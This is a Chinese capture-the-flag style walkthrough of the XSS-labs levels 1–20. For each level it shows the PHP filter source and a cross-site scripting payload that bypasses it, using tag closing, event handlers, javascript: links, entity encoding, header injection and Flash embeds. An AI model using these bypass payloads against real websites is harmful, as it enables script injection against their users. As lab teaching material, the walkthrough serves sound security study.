XSS-labs1-20关通过手册

news2024/11/26 3:48:41

目录

  • XSSlabs1-20关通关手册
    • 第一关level-1(无任何过滤)
    • 第二关level-2(闭合标签)
    • 第三关level-3(单引号闭合+js事件函数绕过)
    • 第四关level-4(双引号闭合+js事件函数绕过)
    • 第五关level-5(js伪协议)
    • 第六关level-6(大小写混合绕过)
    • 第七关level-7(双写绕过)
    • 第八关level-8(编码绕过)
    • 第九关level-9(检测关键字进行替换)
    • 第十关level-10(隐藏信息,隐藏type)
    • 第十一关level-11(referer)
    • 第十二关level-12(UA头部 user-agent字段)
    • 第十三关level-13(cookie)
    • 第十四关level-14
    • 第十五关level-15(ng-include包含)
    • 第十六关level-16(空格实体转义)
    • 第十七关level-17(参数拼接)
    • 第十八关level-18(参数拼接)
    • 第十九关level-19(Flash XSS)
    • 第二十关level-20(Flash XSS)

XSSlabs1-20关通关手册

第一关level-1(无任何过滤)

进入靶场第一关,查看页面给我们反馈的信息内容

image-20230920170926779

查看网页源码:

image-20230920171020065

关卡源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

观察发现没有任何的过滤:

直接插入js代码

payload:
name=<script>alert('XSS')</script>

image-20230920171445351

第二关level-2(闭合标签)

使用我们之前插入js代码也就是使用上一关的js代码进行测试,看是否弹窗,发现没有弹窗

image-20230920171659803

检测页面元素:

代码确实已经写入,但是没有被执行

image-20230920171600272

查看页面源码:

发现<>被HTML实体编码了,成了实体字符。但是我们发现获取到的属性值是没有经过转码的,我们要想办法在属性被获取到的时候绕过过滤函数。

image-20230920171625513

我们构造语句,闭合input标签,再进行攻击。

payload:
keyword="><script>alert("XSS")</script>

image-20230920171957621

第三关level-3(单引号闭合+js事件函数绕过)

将我们在上一关的js代码插入进来,发现还是没有被执行,查看源码发现依旧是被HTML实体编码。

image-20230920173006341

插入js代码:

image-20230920173053975

查看网页源码:

image-20230920173135028

构建代码如下:

可以通过js事件来进行绕过

JavaScript 事件

payload:
' οnfοcus=javascript:alert('xss') >
' οnfοcus=javascript:alert('xss')//
' οnclick=javascript:alert('xss')//
......

image-20230920173428931

第四关level-4(双引号闭合+js事件函数绕过)

尝试使用上一关的代码:

image-20230920173809339

插入后:

image-20230920174015697

发现本关卡为双引号闭合,将单引号改为双引号

payload:
" onclick=javascript:alert('xss')//

image-20230920174100667

第五关level-5(js伪协议)

将上面的代码,插入到第五关当中,发现代码依旧没有被执行,查看源码:

发现onclick被添加了下划线

image-20230920174316817

查看部分关键的关卡源码:

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>

发现script和on都被替换, 这一关我们利用<a>标签绕过进行绕过。

payload:
"> <a href=javascript:alert('xss')>xss</a>//

image-20230920180138827

点击后:

image-20230920180150441

第六关level-6(大小写混合绕过)

同样的方法,继续输入我们尝试过的js代码,输入上一关的代码:

没有反应

image-20230920180455782

查看网页源码

这一关我们发现,在前几关的基础上连href也被过滤了

image-20230920180440350

分析发现页面的大小写没有进行过滤,所以我们可以使用大小写进行绕过。成功过关。

payload:
"> <a Href=javascript:alert('xss')>xss</a>//
"> <ScripT>alert('1')</ScRipT>
......

image-20230920180622729

点击后:

image-20230920180634409

"> <ScripT>alert('1')</ScRipT>

image-20230920180819880

第七关level-7(双写绕过)

同样的方法,还是插入我们测试过的js代码,继续使用上一关的js代码

插入后发现,还是未果

image-20230920181023836

查看页面源码发现,href被替换成空,所以我们可以想到,使用双写进行绕过

image-20230920181001815

观察关卡部分源码:

<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>

发现很多关键字被替换成空,所以我们可以双写进行绕过

payload:
"> <a hrehreff=javascrscriptipt:alert('xss')>xss</a>//
"><sscriptcript>alert('xss')</sscriptcript>
......

image-20230920181412595

点击后:

image-20230920181425404

第八关level-8(编码绕过)

经过测试第八关发现,以上代码均无法进行执行

image-20230920181655231

查看页面源码:

HTML实体编码

image-20230920181717807

查看关卡部分源码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

源码当中过滤了大量的关键字信息,这一关采取大小写和双写都无法绕过

使用编码绕过概念,就是将所有字符编码为HTML实体,进行绕过,将 javascript:alert(‘xss’) 转化为实体字符

payload:
&#32;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;

image-20230920182103366

HTML字符实体转换

点击友情链接,过关

image-20230920181950390

第九关level-9(检测关键字进行替换)

继续尝试插入我们上一关的代码,插入后没有反应

image-20230920204138501

查看源码:

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}

查看源码后发现不仅进行了一系列关键字的过滤,还添加了strpos函数进行验证。这个函数是用来查找指定文本在字符串中第一次出现的位置,这时候我们就不得不在代码里加入http://,但是并没有过滤HTML实体编码,所以我们还是使用编码绕过。

这一关对输入内容进行了检测,内容必须要有http://,因此我们在payload后面加上http://并用注释符注释掉即可

strpos() 函数查找字符串在另一字符串中第一次出现的位置。

注释:strpos() 函数对大小写敏感。

注释:该函数是二进制安全的。

payload:
&#32;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;//http://

image-20230920204739903

第十关level-10(隐藏信息,隐藏type)

这一关将之前的方法全部尝试 发现没有用 查看表单元素 发现有三个被隐藏的表单

image-20230920204852806

可以尝试构造文本框来攻击 随机将三个输入框的其中一个type属性值更改为text 然后增加οnclick=javascript:alert(1) 属性

payload:
?keyword=1&t_sort=" οnclick=javascript:alert(1) type="text"
<form id="search">
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" onclick="javascript:alert(1)" type="text" "="">
</form>

点击输入框即可

image-20230920205634186

第十一关level-11(referer)

还使用我们上一关的代码进行测试,发现未果

检测页面元素,查看代码

image-20230920210625430

表单中t_ref看起来像是接受referer来源,对访问数据包添加referer发现能够接受数据,尝试进行注入

后台代码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

源码发现有一个$str11=$_SERVER['HTTP_REFERER'];字段,并且只对其进行双引号过滤,而HTTP_REFERER是获取http请求头中的Referer字段,就是我们上一级网页的url,那么我们就需要使用到抓包工具进行抓包,修改Referer字段。

使用burp或者hackbar进行注入:

payload:
Referer: " οnclick=javascript:alert(1) type="text"

image-20230920210736990

放包过后,会多出输入框,点击输入框

image-20230920210434707

使用hackbar:

image-20230920210922086

执行后点击输入框,成功弹窗

image-20230920210936894

第十二关level-12(UA头部 user-agent字段)

image-20230921113928698

这一题和上一题一样的手法,只是字段改变了是在http请求头中的user-agent字段上。在网页代码当中发现UA头部信息,本关卡为UA头部注入恶意代码,将js代码插入到UA头部当中,使用burp或者hackbar工具进行

后台代码:

<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>

使用hackbar,勾选UA

payload:
" οnclick=javascript:alert(1) type="text"

出现输入框,点击即可

image-20230921114148238

第十三关level-13(cookie)

进入关卡

image-20230921114818360

后台源码:

</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

通过观察源码发现,本题为http请求当中的cookie字段

这一题和上两题一样的手法相似,改变的是在http请求头中的Cookie字段上。

使用burp抓包或者hackbar工具进行修改cookie信息:

image-20230921120653101

修改后放包即可,出现输入框,点击即可

image-20230921114800179

若使用hackbar,勾选cookie

payload:
user=" οnclick=javascript:alert(1) type="text"

image-20230921120844449

点击输入框即可:

image-20230921120901094

第十四关level-14

自动跳转到那个网址,但是失效了

level-14参考文章

第十五关level-15(ng-include包含)

靶场界面

image-20230921121642693

后台源码:

window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

观察源码发现短短的几行,实体转义了src的值

使用了ng-include这个表达式的意思是当HTML代码过于复杂时,可以将部分代码打包成独立文件,在使用ng-include来引用这个独立的HTML文件。

ng-include指令一般用于包含外部HTML文件,ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况下,包含的文件需要包含在同一域名下,也就是要调用同一域名下的其他网页。因为默认情况下,包含的文件需要包含在同一个域名下。很有可能这个指令就是突破口,我们看看源代码,果然有ng-include,并且对其输入做了过滤,所以我们可以包含一个有漏洞的页面

定义和用法

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

引用文件名要加单引号 即 ng-include=" 'index.html' "

构造payload发现,尖括号被实体转义

image-20230921175444269

所以可构造以下payload

去包含其他关卡的漏洞:
/level15.php?src=' http://192.168.100.152:88/level1.php?name="><a href="javascript:alert(/xss/)">xss '

包含其他关卡也可以

image-20230921175131042

比如包含第四关:

payload:
level15.php?src='http://192.168.100.152:88/level4.php?keyword=" οnclick=javascript:alert(1)//'

image-20230921181259544

第十六关level-16(空格实体转义)

关卡界面:

image-20230921181449428

后台源码:

<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

通过源码发现,过滤了script,/,空格等(替换空格,script,/,再次替换空格)在html中是可以将%0a和%0d作为空格使用的

因为尖括号没被过滤掉,所以我们就用<a>标签,因此我们构造语句

可对script进行个拆分

payload:
/level16.php?keyword=<a%0dhref='javas%0acript:alert(1)'>xss

image-20230921183253890

或者使用<img>标签也可以绕过

payload:
/level16.php?keyword=<img%0dsrc=1%0donerror=alert(1)>
或
keyword=<img%0asrc=1%0donerror=alert(1)>

image-20230921200502287

第十七关level-17(参数拼接)

进入关卡

image-20230921201235033

查看关卡源码:

<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

通过代码发现,本关卡有两个参数:arg01、arg02,当我们发送的时候,发现他们是会互相拼接起来的,那么我们就容易想到这里会不会就是突破口,发现这两个参数是在embed上,embed标签定义嵌入的内容,并且做了尖括号过滤,那么我们可以加入一个属性进去,生成恶意代码。(发现其两个变量使用=符号拼接的形式被加入到<embed>标签中,该标签用于一些插件如flash等的插入,那这就是一个突破口)

HTML中的embed标签使用

输入点在url中,过滤了尖括号和双引号,用on事件触发。

常规加尖括号的语句会被转为html实体字符,那就只有用事件触发来写,而且事件触发刚好是用等号来连接。

image-20230921201840717

使用on事件,但是没有反应,后来发现是浏览器中不支持flash

image-20230921201449820

payload:
/level17.php?arg01=a&arg02=b onmouseover=javascript:alert(1)/level17.php?arg01=a&arg02=b 666 onmouseover=javascript:alert(1)

onmouseover(鼠标移动到上方触发)触发器来进行恶意语句利用

火狐不支持flash(火狐浏览器中,发现该组件根本不显示,完全不给我们事件触发的机会,无法利用了),尝试没有反应,切换浏览器,在edge上试一下

出现弹窗

image-20230921201700928

第十八关level-18(参数拼接)

由于浏览器的差异,所以我们继续使用edge浏览器,页面如下

image-20230921202458230

后台源码:

</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

通过代码发现,和上一关基本差不多,我们继续使用上一关的代码进行测试,看是否弹窗

payload:
/level18.php?arg01=a&arg02=b onmouseover=alert(1)/level18.php?arg01=a&arg02=b  8888 onmouseover=alert(1)

image-20230921202828226

第十九关level-19(Flash XSS)

image-20230921203101352

后台源码:

<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

此题跟flash xss有关

payload:
?arg01=version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

第二十关level-20(Flash XSS)

image-20230921203915232

后台源码:

<title>欢迎来到level20</title>
</head>
<body>
<h1 align=center>欢迎来到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

观察源码发现,和上面19关差不多,就是插件不同。

payload:
?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//&width&height

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1029302.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Excel 拆分单元格数据(公式拆分、智能填充、分列)

将姓名工号拆分成 姓名 和 工号 方法1 在 B2 单元格输入 LEFT($A2, FIND(":", $A2) - 1)在 C2 单元格输入 RIGHT($A2, LEN($A2) - FIND(":", $A2))然后 ctrl d 向下填充即可 方法2 在 B2 单元格输入 李金秀&#xff0c;然后选中 B3 单元格&#xff0c…

LeetCode 753. 破解保险箱【欧拉回路,DFS】困难

本文属于「征服LeetCode」系列文章之一&#xff0c;这一系列正式开始于2021/08/12。由于LeetCode上部分题目有锁&#xff0c;本系列将至少持续到刷完所有无锁题之日为止&#xff1b;由于LeetCode还在不断地创建新题&#xff0c;本系列的终止日期可能是永远。在这一系列刷题文章…

实现AIGC更好的数据存力,这家科技巨头为我们指明了方向

存力即数据存储能力 蕴藏着巨大的发展机会 【全球存储观察 &#xff5c; 热点关注】 2023年&#xff0c;全球被ChatGPT的热潮席卷&#xff0c;拥抱AIGC的创新赛道成为众多企业的新选择。 全球存储观察分析指出&#xff0c;影响AIGC发展的三大因素也日益凸显&#xff0c;即算…

ROS之创建第一个程序

打开终端 创建工作空间 mkdir ros_ws进入工作空间 cd ros_ws创建src文件夹&#xff08;放源程序&#xff09; mkdir src编译工作空间 catkin_make打开vscode&#xff08;从终端打开此工程&#xff09; code .进入src文件夹 cd src创建功能包demo1&#xff0c;并加载依赖…

[Linux入门]---Linux编译器gcc/g++使用

文章目录 1.背景知识2.gcc如何完成编译运行工作预处理&#xff08;进行宏替换&#xff09;编译&#xff08;生成汇编&#xff09;汇编&#xff08;生成机器可识别代码&#xff09;链接&#xff08;生成可执行文件&#xff09; 3.函数库动态库静态库动静态库的区别 4.gcc选项 1.…

一键自助建站系统源码带安装教程 傻瓜式部署搭建,让您的建站更高效

在这个数字时代&#xff0c;网站已成为企业或个人展示形象、推广业务的重要工具。为了满足这一需求&#xff0c;许多自助建站系统应运而生&#xff0c;大大降低了用户建站的门槛。给大家分享一款傻瓜式部署搭建的一键自助建站系统源码&#xff0c;让您轻松拥有高效建站能力。 …

虹科教您 | 可实现带宽计量和延迟计算的时间敏感网络测试工具RELY-TSN-LAB操作指南与基本功能测试

1. RELY-TSN-LAB产品概述 时间敏感网络(TSN)能够合并OT和IT世界&#xff0c;这将是真正确保互操作性和标准化的创新性技术。这项技术的有效开发将显著降低设备成本、维护、先进分析服务的无缝集成以及减少对单个供应商的依赖。为了在这些网络中实现确定性&#xff0c;需要控制…

[LLM+AIGC] 01.应用篇之中文ChatGPT初探及利用ChatGPT润色论文对比浅析(文心一言 | 讯飞星火)

近年来&#xff0c;人工智能技术火热发展&#xff0c;尤其是OpenAI在2022年11月30日发布ChatGPT聊天机器人程序&#xff0c;其使用了Transformer神经网络架构&#xff08;GPT-3.5&#xff09;&#xff0c;能够基于在预训练阶段所见的模式、统计规律和知识来生成回答&#xff0c…

【Linux操作系统实战】Linux基础命令面试必备(二)

&#x1f604;作者简介&#xff1a; 小曾同学.com,一个致力于测试开发的博主⛽️&#xff0c;主要职责&#xff1a;测试开发、CI/CD 如果文章知识点有错误的地方&#xff0c;还请大家指正&#xff0c;让我们一起学习&#xff0c;一起进步。&#x1f60a; 座右铭&#xff1a;不想…

【rabbitMQ】-延迟队列-模拟控制智能家居的操作指令

这个需求为控制智能家居工作&#xff0c;把控制智能家居的操作指令发到队列中&#xff0c;比如&#xff1a;扫地机、洗衣机到指定时间工作 一.什么是延迟队列&#xff1f; 延迟队列存储的对象是对应的延迟消息&#xff0c;所谓“延迟消息” 是指当消息被发送以后&#xff0c;并…

数据中心中什么最重要?

在数据中心中&#xff0c;最重要的要素可以总结为以下几点&#xff1a; 数据安全&#xff1a;数据中心是存储和处理大量敏感数据的关键设施&#xff0c;因此数据安全是最重要的要素之一。数据中心必须采取严格的物理安全措施&#xff0c;如门禁、监控和防火措施&#xff0c;以确…

Stable Diffusion基础:精准控制之ControlNet

在AI绘画中精确控制图片的生成是一件比较困难的事情&#xff0c;炼丹师们经常需要大量抽卡才能得到一张满意的图片&#xff0c;不过随着 ControlNet 的诞生&#xff0c;这一问题得到了很大的缓解。 ControlNet 提供了十几种控制网络模型&#xff0c;有的可以控制画面的结构&…

利用大模型知识图谱技术,告别繁重文案,实现非结构化数据高效管理

我&#xff0c;作为一名产品经理&#xff0c;对文案工作可以说是又爱又恨&#xff0c;爱的是文档作为嘴替&#xff0c;可以事事展开揉碎讲清道明&#xff1b;恨的是只有一个脑子一双手&#xff0c;想一边澄清需求一边推广宣传一边发布版本一边申报认证实在是分身乏术&#xff0…

【uniapp】小程序开发:2 安装uni-ui组件库、使用pinia状态管理、自定义http请求

一、安装uni-ui组件库 1、安装 pnpm i -D sass pnpm i dcloudio/uni-ui2、配置组件自动导入 使用 npm 安装好 uni-ui 之后&#xff0c;需要配置 easycom 规则&#xff0c;让 npm 安装的组件支持 easycom 打开项目根目录下的 pages.json 并添加 easycom 节点&#xff1a; //…

LeetCode 75-03:拥有最多糖果的孩子

func kidsWithCandies(candies []int, extraCandies int) []bool {maxCandy : 0for _, v : range candies{if v > maxCandy{maxCandy v}}res : make([]bool, len(candies))for i,candy : range candies{res[i] candy extraCandies > maxCandy}return res }

对象的生命周期、配置文件参数化、自定义类型转换器

目录 一、对象的生命周期 1、什么是对象的生命周期 2、为什么要学习对象的生命周期 3、生命周期的三个阶段 &#xff08;1&#xff09;创建阶段 &#xff08;2&#xff09;初始化阶段 1、InitializingBean 接口 2、对象中提供一个普通的方法 3、细节分析 &#xff08…

linux离线安装make

一、下载rpm包 https://pkgs.org/search/?qmake 二、拷贝至服务器 三、安装make rpm -ivh make-3.82-24.el7.x86_64.rpm四、查看是否安装成功 make -v

Git 设置公钥

一、公钥管理 1、生成公钥 WinR&#xff0c;输入cmd&#xff0c;打开命令行窗口&#xff0c;执行ssh-keygen命令 查看生成的公钥&#xff0c;使用everything搜索id_rsa.pub&#xff0c;如下&#xff1a; 2、配置公钥 打开服务端网站&#xff0c;添加公钥 3、修改Git Tourtise配…

PostgreSQL 技术内幕(十)WAL log 模块基本原理

事务日志是数据库的重要组成部分&#xff0c;记录了数据库系统中所有更改和操作的历史信息。 WAL log(Write Ahead Logging)也被称为xlog&#xff0c;是事务日志的一种&#xff0c;也是关系数据库系统中用于保证数据一致性和事务完整性的一系列技术&#xff0c;在数据库恢复、高…

Ubuntu 安装golang

目录 1. 从官方网站下载合适的安装包 2. 解压安装包 3. 设置环境变量 4. 验证安装是否成功 1. 从官方网站下载合适的安装包 到官网&#xff1a;https://go.dev/dl/查找对应的版本 # 下载golang对应的版本 wget https://dl.google.com/go/go1.14.4.linux-amd64.tar.gz 2. …